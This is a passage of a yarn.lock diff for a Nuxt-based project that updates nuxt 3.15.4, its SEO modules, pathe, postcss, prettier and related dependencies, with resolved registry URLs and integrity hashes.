+  integrity sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ==
+
 mute-stream@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/mute-stream/-/mute-stream-2.0.0.tgz#a5446fc0c512b71c83c44d908d5c7b7b4c493b2b"
@@ -8866,14 +8928,14 @@ nanoid@^3.3.8:
   integrity sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w==
 
 nanoid@^5.0.9:
-  version "5.0.9"
-  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-5.0.9.tgz#977dcbaac055430ce7b1e19cf0130cea91a20e50"
-  integrity sha512-Aooyr6MXU6HpvvWXKoVoXwKMs/KyVakWwg7xQfv5/S/RIgJMy0Ifa45H9qqYy7pTCszrHzP21Uk4PZq2HpEM8Q==
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-5.1.0.tgz#d61a0cde4db69c39f9320625fc86764c072f221f"
+  integrity sha512-zDAl/llz8Ue/EblwSYwdxGBYfj46IM1dhjVi8dyp9LQffoIGxJEAHj2oeZ4uNcgycSRcQ83CnfcZqEJzVDLcDw==
 
-nanotar@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/nanotar/-/nanotar-0.1.1.tgz#24276a418130fa69f479577f343747e768810857"
-  integrity sha512-AiJsGsSF3O0havL1BydvI4+wR76sKT+okKRwWIaK96cZUnXqH0uNBOsHlbwZq3+m2BR1VKqHDVudl3gO4mYjpQ==
+nanotar@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/nanotar/-/nanotar-0.2.0.tgz#763afd4e41974d033011f588e9157dff726c296b"
+  integrity sha512-9ca1h0Xjvo9bEkE4UOxgAzLV0jHKe6LMaxo37ND2DAhhAtd0j8pR1Wxz+/goMrZO8AEZTWCmyaOsFI/W5AdpCQ==
 
 napi-build-utils@^2.0.0:
   version "2.0.0"
@@ -9285,132 +9347,140 @@ nth-check@^2.0.1, nth-check@^2.1.1:
   dependencies:
     boolbase "^1.0.0"
 
-nuxt-link-checker@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/nuxt-link-checker/-/nuxt-link-checker-4.1.0.tgz#021ed5dea1fff1948003ee2139d106b036082d64"
-  integrity sha512-z16I1tXTriyxjL1Hm1ydaXCrhodY0QhKfdZE52Q4icLxR/pcegJ4lxhrNUnTGTCtT8ITN9t2GnaKbL/VJ67nfw==
+nuxt-component-meta@^0.10.0:
+  version "0.10.0"
+  resolved "https://registry.yarnpkg.com/nuxt-component-meta/-/nuxt-component-meta-0.10.0.tgz#695b8c5894fe604b4bff91e435cfaa6156d28e02"
+  integrity sha512-iq7hbSnfp4Ff/PTMYBF8pYabTQuF3u7HVN66Kb3hOnrnaPEdXEn/q6HkAn5V8UjOVSgXYpvycM0wSnwyADYNVA==
   dependencies:
-    "@nuxt/devtools-kit" "2.0.0-beta.3"
-    "@nuxt/kit" "^3.15.2"
-    "@vueuse/core" "^12.4.0"
+    "@nuxt/kit" "^3.15.1"
+    citty "^0.1.6"
+    mlly "^1.7.4"
+    scule "^1.3.0"
+    typescript "^5.7.3"
+    ufo "^1.5.4"
+    vue-component-meta "^2.2.0"
+
+nuxt-link-checker@^4.1.1:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/nuxt-link-checker/-/nuxt-link-checker-4.1.1.tgz#bfa3803c009cbc4ecdc8272097148417e4369b49"
+  integrity sha512-K71Y/vp1gsR4dB04ZPTS5x5f8JQO0C2p3JJFu1siZOUYdlwvQAEm6P3t539+Fg9gZNld3aeVAKnA6oNRFljkbw==
+  dependencies:
+    "@nuxt/devtools-kit" "2.1.0"
+    "@nuxt/kit" "^3.15.4"
+    "@vueuse/core" "^12.7.0"
     chalk "^5.4.1"
     cheerio "^1.0.0"
     diff "^7.0.0"
-    fuse.js "^7.0.0"
+    fuse.js "^7.1.0"
     magic-string "^0.30.17"
-    nuxt-site-config "^3.0.6"
-    pathe "^2.0.2"
+    nuxt-site-config "^3.1.0"
+    pathe "^2.0.3"
     pkg-types "^1.3.1"
     radix3 "^1.1.2"
-    sirv "^3.0.0"
+    sirv "^3.0.1"
     ufo "^1.5.4"
 
-nuxt-og-image@^4.1.2:
-  version "4.1.2"
-  resolved "https://registry.yarnpkg.com/nuxt-og-image/-/nuxt-og-image-4.1.2.tgz#2d1bd4339a7557422de107ccedc812bdff39460d"
-  integrity sha512-TeBsI9Ic/ETD4fTpycKW9lYp5Q2hd5ozE5Bt22opTsIuqzSx20ZKzonj0yiHRgShMhGE+YMZhFzk7YvDaNNWGA==
+nuxt-og-image@^4.1.4:
+  version "4.1.4"
+  resolved "https://registry.yarnpkg.com/nuxt-og-image/-/nuxt-og-image-4.1.4.tgz#d2b26b760750dbe6ccb7b7979f32094b1aa8c5f8"
+  integrity sha512-2U5bMefPWQJnoqPb9G2mIXJu41ZplU+/duB9UdmQo5zYVsHo+I/Acunc04Ngqhq9p2DBeQQ4irneysfZx37UZA==
   dependencies:
-    "@nuxt/devtools-kit" "2.0.0-beta.3"
-    "@nuxt/kit" "^3.15.2"
+    "@nuxt/devtools-kit" "2.1.0"
+    "@nuxt/kit" "^3.15.4"
     "@resvg/resvg-js" "^2.6.2"
     "@resvg/resvg-wasm" "^2.6.2"
-    "@unocss/core" "^65.4.2"
-    "@unocss/preset-wind" "^65.4.2"
+    "@unocss/core" "^66.0.0"
+    "@unocss/preset-wind3" "^66.0.0"
     chrome-launcher "^1.1.2"
     consola "^3.4.0"
     defu "^6.1.4"
     execa "^9.5.2"
     image-size "^1.2.0"
     magic-string "^0.30.17"
-    nuxt-site-config "^3.0.6"
-    nypm "^0.5.0"
+    nuxt-site-config "^3.0.7"
+    nypm "^0.5.2"
     ofetch "^1.4.1"
     ohash "^1.1.4"
-    pathe "^2.0.2"
+    pathe "^2.0.3"
     pkg-types "^1.3.1"
-    playwright-core "^1.49.1"
+    playwright-core "^1.50.1"
     radix3 "^1.1.2"
     satori "^0.12.1"
     satori-html "^0.3.2"
-    sirv "^3.0.0"
+    sirv "^3.0.1"
     std-env "^3.8.0"
     strip-literal "^3.0.0"
     ufo "^1.5.4"
-    unplugin "^2.1.2"
+    unplugin "^2.2.0"
     unwasm "^0.3.9"
     yoga-wasm-web "^0.3.3"
 
-nuxt-schema-org@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/nuxt-schema-org/-/nuxt-schema-org-4.1.1.tgz#77b483b7cbc89234c9a8e25a9d3326012fcf74de"
-  integrity sha512-2/Nhoh07ZfnwiIDUt5qCGUraqnBf0Pa2UhO7Vf/3U48ayNuq+VepTyFar15EBWLp1hysAEiUSkGAJiJAgqwCxw==
+nuxt-schema-org@^4.1.2:
+  version "4.1.3"
+  resolved "https://registry.yarnpkg.com/nuxt-schema-org/-/nuxt-schema-org-4.1.3.tgz#de823c90212630f0d87466e5d7164ff43ca5316a"
+  integrity sha512-xUhWCKlWjp6J5ktmmdz4eYPl2fifmqQtVXWharnKXLRATH5z2j4ayA1taZXUuoOZLlKAXIP1HUEm23ZCI+/DhA==
   dependencies:
-    "@nuxt/devtools-kit" "^2.0.0-beta.3"
-    "@nuxt/kit" "^3.15.2"
-    "@unhead/schema-org" "^1.11.18"
+    "@nuxt/kit" "^3.15.4"
+    "@unhead/schema-org" "^1.11.19"
     defu "^6.1.4"
-    nuxt-site-config "^3.0.6"
-    pathe "^2.0.2"
+    nuxt-site-config "^3.1.0"
+    pathe "^2.0.3"
     pkg-types "^1.3.1"
-    sirv "^3.0.0"
+    sirv "^3.0.1"
 
-nuxt-seo-utils@^6.0.8:
-  version "6.0.8"
-  resolved "https://registry.yarnpkg.com/nuxt-seo-utils/-/nuxt-seo-utils-6.0.8.tgz#b204a724029acc5b6efe099dd36638a1e3b083c7"
-  integrity sha512-Gx2zqLpHBU5KZM8CZ91V/JxCHXR4sRlRwoPtRfWKqxPH+a35abe2l4YaIBz8YOwL23t9Yo3ww1+zUleLUExYMA==
+nuxt-seo-utils@^6.0.11:
+  version "6.0.12"
+  resolved "https://registry.yarnpkg.com/nuxt-seo-utils/-/nuxt-seo-utils-6.0.12.tgz#de63c486609171013bf03e97606ce2e6528e7141"
+  integrity sha512-P+0wyPcqrCawGHj9uP3LuXWql9fr6lyni6DxO05sMgOuU6Ph4N8ED4YRWOTqrcjRxmfIvDXvaz2R1SNeSPP8Yw==
   dependencies:
-    "@nuxt/kit" "^3.15.1"
-    "@unhead/addons" "^1.11.16"
-    "@unhead/schema" "^1.11.16"
+    "@nuxt/kit" "^3.15.4"
+    "@unhead/addons" "^1.11.19"
     defu "^6.1.4"
     escape-string-regexp "^5.0.0"
     fast-glob "^3.3.3"
     image-size "^1.2.0"
     mlly "^1.7.4"
-    nuxt-site-config "^3.0.6"
-    pathe "^2.0.1"
+    nuxt-site-config "^3.1.0"
+    pathe "^2.0.3"
     scule "^1.3.0"
     ufo "^1.5.4"
 
-nuxt-site-config-kit@3.0.6:
-  version "3.0.6"
-  resolved "https://registry.yarnpkg.com/nuxt-site-config-kit/-/nuxt-site-config-kit-3.0.6.tgz#dd753cfc6b89596c4a2a22347c42cc07962471c3"
-  integrity sha512-QBOFzAIo+D02avFQQ7gNlRyA372/PQlgW2IjL2nttvjfHapqYbvP6tIP55soL+1+D8YvF/bGZgS+vJtfQhroUg==
+nuxt-site-config-kit@3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/nuxt-site-config-kit/-/nuxt-site-config-kit-3.1.0.tgz#0775feb24f1663fdeed335bb1a7dc45334997305"
+  integrity sha512-DlzK1koGv2tcWFxhi7ly/ILDz9tIQ62l+iWYCx1skvtRkKatzFFf4JuJlLxHV3tUe06bAK1K1j1uEYc26a1+7A==
   dependencies:
-    "@nuxt/kit" "^3.13.2"
-    "@nuxt/schema" "^3.13.2"
-    pkg-types "^1.2.1"
-    site-config-stack "3.0.6"
-    std-env "^3.7.0"
+    "@nuxt/kit" "^3.15.4"
+    pkg-types "^1.3.1"
+    site-config-stack "3.1.0"
+    std-env "^3.8.0"
     ufo "^1.5.4"
 
-nuxt-site-config@^3.0.6:
-  version "3.0.6"
-  resolved "https://registry.yarnpkg.com/nuxt-site-config/-/nuxt-site-config-3.0.6.tgz#091f274b71f8cfa06ed6608e92d25a72e087507a"
-  integrity sha512-Mkyen81br21/nA2sxlLCOtJZ2L8sGL+YzxHlsVhLhEnC355CP2SwKVtYqJNJ4aYFbxeusqZXJFiD4KbveHhk0w==
+nuxt-site-config@^3.0.7, nuxt-site-config@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/nuxt-site-config/-/nuxt-site-config-3.1.0.tgz#7ce384a59b92556600ecb0daf4dd29c462406357"
+  integrity sha512-p/MZ2MvAq12d89V9DCmi8iLrC2Ca7oTbQSVUqGy/Ybqm1ob08BOhKj5p/rbUZKqnbQ9YL0q3gr1Bh08VWHZb6g==
   dependencies:
-    "@nuxt/devtools-kit" "^1.6.0"
-    "@nuxt/kit" "^3.13.2"
-    "@nuxt/schema" "^3.13.2"
-    nuxt-site-config-kit "3.0.6"
-    pathe "^1.1.2"
-    pkg-types "^1.2.1"
-    sirv "^3.0.0"
-    site-config-stack "3.0.6"
+    "@nuxt/kit" "^3.15.4"
+    nuxt-site-config-kit "3.1.0"
+    pathe "^2.0.3"
+    pkg-types "^1.3.1"
+    sirv "^3.0.1"
+    site-config-stack "3.1.0"
     ufo "^1.5.4"
 
-nuxt@3.15.2:
-  version "3.15.2"
-  resolved "https://registry.yarnpkg.com/nuxt/-/nuxt-3.15.2.tgz#8d8db22fa86422a2309660f94bd5bcddc11363aa"
-  integrity sha512-1EiQ5wYYVhgkRyaMCyuc4R5lhJtOPJTdOe3LwYNbIol3pmcO1urhNDNKfhiy9zdcA3G14zzN0W/+TqXXidchRw==
+nuxt@3.15.4:
+  version "3.15.4"
+  resolved "https://registry.yarnpkg.com/nuxt/-/nuxt-3.15.4.tgz#631f679ca6d63406bf7e25f15a37432c7ecbcc16"
+  integrity sha512-hSbZO4mR0uAMJtZPNTnCfiAtgleoOu28gvJcBNU7KQHgWnNXPjlWgwMczko2O4Tmnv9zIe/CQged+2HsPwl2ZA==
   dependencies:
-    "@nuxt/cli" "^3.20.0"
+    "@nuxt/cli" "^3.21.1"
     "@nuxt/devalue" "^2.0.2"
     "@nuxt/devtools" "^1.7.0"
-    "@nuxt/kit" "3.15.2"
-    "@nuxt/schema" "3.15.2"
+    "@nuxt/kit" "3.15.4"
+    "@nuxt/schema" "3.15.4"
     "@nuxt/telemetry" "^2.6.4"
-    "@nuxt/vite-builder" "3.15.2"
+    "@nuxt/vite-builder" "3.15.4"
     "@unhead/dom" "^1.11.18"
     "@unhead/shared" "^1.11.18"
     "@unhead/ssr" "^1.11.18"
@@ -9430,7 +9500,7 @@ nuxt@3.15.2:
     escape-string-regexp "^5.0.0"
     estree-walker "^3.0.3"
     globby "^14.0.2"
-    h3 "^1.13.1"
+    h3 "^1.14.0"
     hookable "^5.5.3"
     ignore "^7.0.3"
     impound "^0.2.0"
@@ -9439,12 +9509,12 @@ nuxt@3.15.2:
     knitwork "^1.2.0"
     magic-string "^0.30.17"
     mlly "^1.7.4"
-    nanotar "^0.1.1"
+    nanotar "^0.2.0"
     nitropack "^2.10.4"
-    nypm "^0.4.1"
+    nypm "^0.5.2"
     ofetch "^1.4.1"
     ohash "^1.1.4"
-    pathe "^2.0.1"
+    pathe "^2.0.2"
     perfect-debounce "^1.0.0"
     pkg-types "^1.3.1"
     radix3 "^1.1.2"
@@ -9459,9 +9529,9 @@ nuxt@3.15.2:
     unctx "^2.4.1"
     unenv "^1.10.0"
     unhead "^1.11.18"
-    unimport "^3.14.6"
+    unimport "^4.0.0"
     unplugin "^2.1.2"
-    unplugin-vue-router "^0.10.9"
+    unplugin-vue-router "^0.11.2"
     unstorage "^1.14.4"
     untyped "^1.5.2"
     vue "^3.5.13"
@@ -9481,14 +9551,14 @@ nypm@^0.4.1:
     tinyexec "^0.3.1"
     ufo "^1.5.4"
 
-nypm@^0.5.0, nypm@^0.5.1, nypm@^0.5.2:
-  version "0.5.2"
-  resolved "https://registry.yarnpkg.com/nypm/-/nypm-0.5.2.tgz#6aa4d009ec159ad0c5ba63219690a88ecfe22b43"
-  integrity sha512-AHzvnyUJYSrrphPhRWWZNcoZfArGNp3Vrc4pm/ZurO74tYNTgAPrEyBQEKy+qioqmWlPXwvMZCG2wOaHlPG0Pw==
+nypm@^0.5.1, nypm@^0.5.2:
+  version "0.5.4"
+  resolved "https://registry.yarnpkg.com/nypm/-/nypm-0.5.4.tgz#a5ab0d8d37f96342328479f88ef58699f29b3051"
+  integrity sha512-X0SNNrZiGU8/e/zAB7sCTtdxWTMSIO73q+xuKgglm2Yvzwlo8UoC5FNySQFCvl84uPaeADkqHUZUkWy4aH4xOA==
   dependencies:
     citty "^0.1.6"
     consola "^3.4.0"
-    pathe "^2.0.2"
+    pathe "^2.0.3"
     pkg-types "^1.3.1"
     tinyexec "^0.3.2"
     ufo "^1.5.4"
@@ -9512,6 +9582,11 @@ ohash@^1.1.3, ohash@^1.1.4:
   resolved "https://registry.yarnpkg.com/ohash/-/ohash-1.1.4.tgz#ae8d83014ab81157d2c285abf7792e2995fadd72"
   integrity sha512-FlDryZAahJmEF3VR3w1KogSEdWX3WhA5GPakFx4J81kEAiHyLMpdLLElS8n8dfNadMgAne/MywcvmogzscVt4g==
 
+ohash@^2.0.2:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/ohash/-/ohash-2.0.4.tgz#ca6be3cc32fac3bfa0147f3c4fefa36a4a067825"
+  integrity sha512-ac+SFwzhdHb0hp48/dbR7Jta39qfbuj7t3hApd9uyHS8bisHTfVzSEvjOVgV0L3zG7VR2/7JjkSGimP75D+hOQ==
+
 on-finished@2.4.1:
   version "2.4.1"
   resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.4.1.tgz#58c8c44116e54845ad57f14ab10b03533184ac3f"
@@ -9542,6 +9617,15 @@ oniguruma-to-es@^2.2.0:
     regex "^5.1.1"
     regex-recursion "^5.1.1"
 
+oniguruma-to-es@^3.1.0:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/oniguruma-to-es/-/oniguruma-to-es-3.1.1.tgz#480e4bac4d3bc9439ac0d2124f0725e7a0d76d17"
+  integrity sha512-bUH8SDvPkH3ho3dvwJwfonjlQ4R80vjyvrU8YpxuROddv55vAEJrTuCuCVUhhsHbtlD9tGGbaNApGQckXhS8iQ==
+  dependencies:
+    emoji-regex-xs "^1.0.0"
+    regex "^6.0.1"
+    regex-recursion "^6.0.2"
+
 oniguruma-to-js@0.4.3:
   version "0.4.3"
   resolved "https://registry.yarnpkg.com/oniguruma-to-js/-/oniguruma-to-js-0.4.3.tgz#8d899714c21f5c7d59a3c0008ca50e848086d740"
@@ -9697,7 +9781,7 @@ package-json-from-dist@^1.0.0:
   resolved "https://registry.yarnpkg.com/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz#4f1471a010827a86f94cfd9b0727e36d267de505"
   integrity sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==
 
-package-manager-detector@^0.2.8:
+package-manager-detector@^0.2.8, package-manager-detector@^0.2.9:
   version "0.2.9"
   resolved "https://registry.yarnpkg.com/package-manager-detector/-/package-manager-detector-0.2.9.tgz#20990785afa69d38b4520ccc83b34e9f69cb970f"
   integrity sha512-+vYvA/Y31l8Zk8dwxHhL3JfTuHPm6tlxM2A3GeQyl7ovYnSp1+mzAxClxaOr0qO1TtPxbQxetI7v5XqKLJZk7Q==
@@ -9844,9 +9928,9 @@ parse-ms@^4.0.0:
   integrity sha512-TXfryirbmq34y8QBwgqCVLi+8oA3oWx2eAnSn62ITyEhEYaWRlVZ2DvMM9eZbMs/RfxPu/PK/aBLyGj4IrqMHw==
 
 parse-path@^7.0.0:
-  version "7.0.0"
-  resolved "https://registry.yarnpkg.com/parse-path/-/parse-path-7.0.0.tgz#605a2d58d0a749c8594405d8cc3a2bf76d16099b"
-  integrity sha512-Euf9GG8WT9CdqwuWJGdf3RkUcTBArppHABkO7Lm8IzRQp0e2r/kkFnmhu4TSK30Wcu5rVAZLmfPKSBBi9tWFog==
+  version "7.0.1"
+  resolved "https://registry.yarnpkg.com/parse-path/-/parse-path-7.0.1.tgz#ae548cd36315fd8881a3610eae99fa08123ee0e2"
+  integrity sha512-6ReLMptznuuOEzLoGEa+I1oWRSj2Zna5jLWC+l6zlfAI4dbbSaIES29ThzuPkbhNahT65dWzfoZEO6cfJw2Ksg==
   dependencies:
     protocols "^2.0.0"
 
@@ -9902,6 +9986,11 @@ parseurl@~1.3.3:
   resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4"
   integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==
 
+path-browserify@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-1.0.1.tgz#d98454a9c3753d5790860f16f68867b9e46be1fd"
+  integrity sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==
+
 path-data-parser@0.1.0, path-data-parser@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/path-data-parser/-/path-data-parser-0.1.0.tgz#8f5ba5cc70fc7becb3dcefaea08e2659aba60b8c"
@@ -9965,10 +10054,10 @@ pathe@^1.0.0, pathe@^1.1.1, pathe@^1.1.2:
   resolved "https://registry.yarnpkg.com/pathe/-/pathe-1.1.2.tgz#6c4cb47a945692e48a1ddd6e4094d170516437ec"
   integrity sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==
 
-pathe@^2.0.0, pathe@^2.0.1, pathe@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/pathe/-/pathe-2.0.2.tgz#5ed86644376915b3c7ee4d00ac8c348d671da3a5"
-  integrity sha512-15Ztpk+nov8DR524R4BF7uEuzESgzUEAV4Ah7CUMNGXdE5ELuvxElxGXndBl32vMSsWa1jpNf22Z+Er3sKwq+w==
+pathe@^2.0.0, pathe@^2.0.1, pathe@^2.0.2, pathe@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/pathe/-/pathe-2.0.3.tgz#3ecbec55421685b70a9da872b2cff3e1cbed1716"
+  integrity sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==
 
 perfect-debounce@^1.0.0:
   version "1.0.0"
@@ -10022,7 +10111,7 @@ pkg-types@^1.0.3, pkg-types@^1.2.0, pkg-types@^1.2.1, pkg-types@^1.3.0, pkg-type
     mlly "^1.7.4"
     pathe "^2.0.1"
 
-playwright-core@^1.49.1:
+playwright-core@^1.50.1:
   version "1.50.1"
   resolved "https://registry.yarnpkg.com/playwright-core/-/playwright-core-1.50.1.tgz#6a0484f1f1c939168f40f0ab3828c4a1592c4504"
   integrity sha512-ra9fsNWayuYumt+NiM069M6OkcRb1FZSK8bgi66AtpFoWkg2+y0bJSNmkFrWhMbEBbVKC/EruAHH3g0zmtwGmQ==
@@ -10344,10 +10433,10 @@ postcss-value-parser@^4.0.0, postcss-value-parser@^4.0.2, postcss-value-parser@^
   resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz#723c09920836ba6d3e5af019f92bc0971c02e514"
   integrity sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==
 
-"postcss@^7.0.27 || ^8.0.0", postcss@^8.1.10, postcss@^8.2.15, postcss@^8.4.31, postcss@^8.4.43, postcss@^8.4.48, postcss@^8.4.49, postcss@^8.5.1:
-  version "8.5.2"
-  resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.5.2.tgz#e7b99cb9d2ec3e8dd424002e7c16517cb2b846bd"
-  integrity sha512-MjOadfU3Ys9KYoX0AdkBlFEF1Vx37uCCeN4ZHnmwm9FfpbsGWMZeBLMmmpY+6Ocqod7mkdZ0DT31OlbsFrLlkA==
+"postcss@^7.0.27 || ^8.0.0", postcss@^8.1.10, postcss@^8.2.15, postcss@^8.4.31, postcss@^8.4.48, postcss@^8.4.49, postcss@^8.5.1, postcss@^8.5.2:
+  version "8.5.3"
+  resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.5.3.tgz#1463b6f1c7fb16fe258736cba29a2de35237eafb"
+  integrity sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A==
   dependencies:
     nanoid "^3.3.8"
     picocolors "^1.1.1"
@@ -10384,9 +10473,9 @@ prettier-linter-helpers@^1.0.0:
     fast-diff "^1.1.2"
 
 prettier@^3.3.3:
-  version "3.5.0"
-  resolved "https://registry.yarnpkg.com/prettier/-/prettier-3.5.0.tgz#50325a28887c6dfdf2ca3f8eaba02b66a8429ca7"
-  integrity sha512-quyMrVt6svPS7CjQ9gKb3GLEX/rl3BCL2oa/QkNcXv4YNVBC9olt3s+H7ukto06q7B1Qz46PbrKLO34PR6vXcA==
+  version "3.5.1"
+  resolved "https://registry.yarnpkg.com/prettier/-/prettier-3.5.1.tgz#22fac9d0b18c0b92055ac8fb619ac1c7bef02fb7"
+  integrity sha512-hPpFQvHwL3Qv5AdRvBFMhnKo4tYxp0ReXiPn2bxkiohEX6mBeBwEpBSQTkD458RaaDKQMYSp4hX4UtfUTA5wDw==
 
 pretty-bytes@^6.1.1:
   version "6.1.1"
@@ -10430,11 +10519,6 @@ promise-call-limit@^3.0.1:
   resolved "https://registry.yarnpkg.com/promise-call-limit/-/promise-call-limit-3.0.2.tgz#524b7f4b97729ff70417d93d24f46f0265efa4f9"
   integrity sha512-mRPQO2T1QQVw11E7+UdCJu7S61eJVWknzml9sC1heAdj1jxl0fWMBypIt9ZOcLFf8FkG995ZD7RnVk7HH72fZw==
 
-promise-inflight@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/promise-inflight/-/promise-inflight-1.0.1.tgz#98472870bf228132fcbdd868129bad12c3c029e3"
-  integrity sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==
-
 promise-retry@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/promise-retry/-/promise-retry-2.0.1.tgz#ff747a13620ab57ba688f5fc67855410c370da22"
@@ -10463,15 +10547,20 @@ property-information@^6.0.0, property-information@^6.5.0:
   resolved "https://registry.yarnpkg.com/property-information/-/property-information-6.5.0.tgz#6212fbb52ba757e92ef4fb9d657563b933b7ffec"
   integrity sha512-PgTgs/BlvHxOu8QuEN7wi5A0OmXaBcHpmCSTehcs6Uuu9IkDIEo13Hy7n898RHfrQ49vKCoGeWZSaAK01nwVig==
 
+property-information@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/property-information/-/property-information-7.0.0.tgz#3508a6d6b0b8eb3ca6eb2c6623b164d2ed2ab112"
+  integrity sha512-7D/qOz/+Y4X/rzSB6jKxKUsQnphO046ei8qxG59mtM3RG3DHgTK81HrxrmoDVINJb8NKT5ZsRbwHvQ6B68Iyhg==
+
 proto-list@~1.2.1:
   version "1.2.4"
   resolved "https://registry.yarnpkg.com/proto-list/-/proto-list-1.2.4.tgz#212d5bfe1318306a420f6402b8e26ff39647a849"
   integrity sha512-vtK/94akxsTMhe0/cbfpR+syPuszcuwhqVjJq26CuNDgFGj682oRBXOP5MJpv2r7JtE8MsiepGIqvvOTBwn2vA==
 
 protocols@^2.0.0, protocols@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/protocols/-/protocols-2.0.1.tgz#8f155da3fc0f32644e83c5782c8e8212ccf70a86"
-  integrity sha512-/XJ368cyBJ7fzLMwLKv1e4vLxOju2MNAIokcr7meSaNcVbWz/CPcW22cP04mwxOErdA5mwjA8Q6w/cdAQxVn7Q==
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/protocols/-/protocols-2.0.2.tgz#822e8fcdcb3df5356538b3e91bfd890b067fd0a4"
+  integrity sha512-hHVTzba3wboROl0/aWRRG9dMytgH6ow//STBZh43l/wQgmMhYhOFi0EHWAPtoCz9IAUymsyP0TSBHkhgMEGNnQ==
 
 pump@^3.0.0:
   version "3.0.2"
@@ -10683,6 +10772,13 @@ regex-recursion@^5.1.1:
     regex "^5.1.1"
     regex-utilities "^2.3.0"
 
+regex-recursion@^6.0.2:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/regex-recursion/-/regex-recursion-6.0.2.tgz#a0b1977a74c87f073377b938dbedfab2ea582b33"
+  integrity sha512-0YCaSCq2VRIebiaUviZNs0cBz1kg5kVS2UKUfNIx8YVs1cN3AV7NTctO5FOKBA+UT2BPJIWZauYHPqJODG50cg==
+  dependencies:
+    regex-utilities "^2.3.0"
+
 regex-utilities@^2.3.0:
   version "2.3.0"
   resolved "https://registry.yarnpkg.com/regex-utilities/-/regex-utilities-2.3.0.tgz#87163512a15dce2908cf079c8960d5158ff43280"
@@ -10700,6 +10796,13 @@ regex@^5.1.1:
   dependencies:
     regex-utilities "^2.3.0"
 
+regex@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/regex/-/regex-6.0.1.tgz#282fa4435d0c700b09c0eb0982b602e05ab6a34f"
+  integrity sha512-uorlqlzAKjKQZ5P+kTJr3eeJGSVroLKoHmquUj4zHWuR+hEyNqlXsSKlYYF5F4NI6nl7tWCs0apKJ0lmfsXAPA==
+  dependencies:
+    regex-utilities "^2.3.0"
+
 regexp-ast-analysis@^0.7.0, regexp-ast-analysis@^0.7.1:
   version "0.7.1"
   resolved "https://registry.yarnpkg.com/regexp-ast-analysis/-/regexp-ast-analysis-0.7.1.tgz#c0e24cb2a90f6eadd4cbaaba129317e29d29c482"
@@ -10739,6 +10842,14 @@ rehype-external-links@^3.0.0:
     space-separated-tokens "^2.0.0"
     unist-util-visit "^5.0.0"
 
+rehype-minify-whitespace@^6.0.0, rehype-minify-whitespace@^6.0.2:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/rehype-minify-whitespace/-/rehype-minify-whitespace-6.0.2.tgz#7dd234ce0775656ce6b6b0aad0a6093de29b2278"
+  integrity sha512-Zk0pyQ06A3Lyxhe9vGtOtzz3Z0+qZ5+7icZ/PL/2x1SHPbKao5oB/g/rlc6BCTajqBb33JcOe71Ye1oFsuYbnw==
+  dependencies:
+    "@types/hast" "^3.0.0"
+    hast-util-minify-whitespace "^1.0.0"
+
 rehype-raw@^7.0.0:
   version "7.0.0"
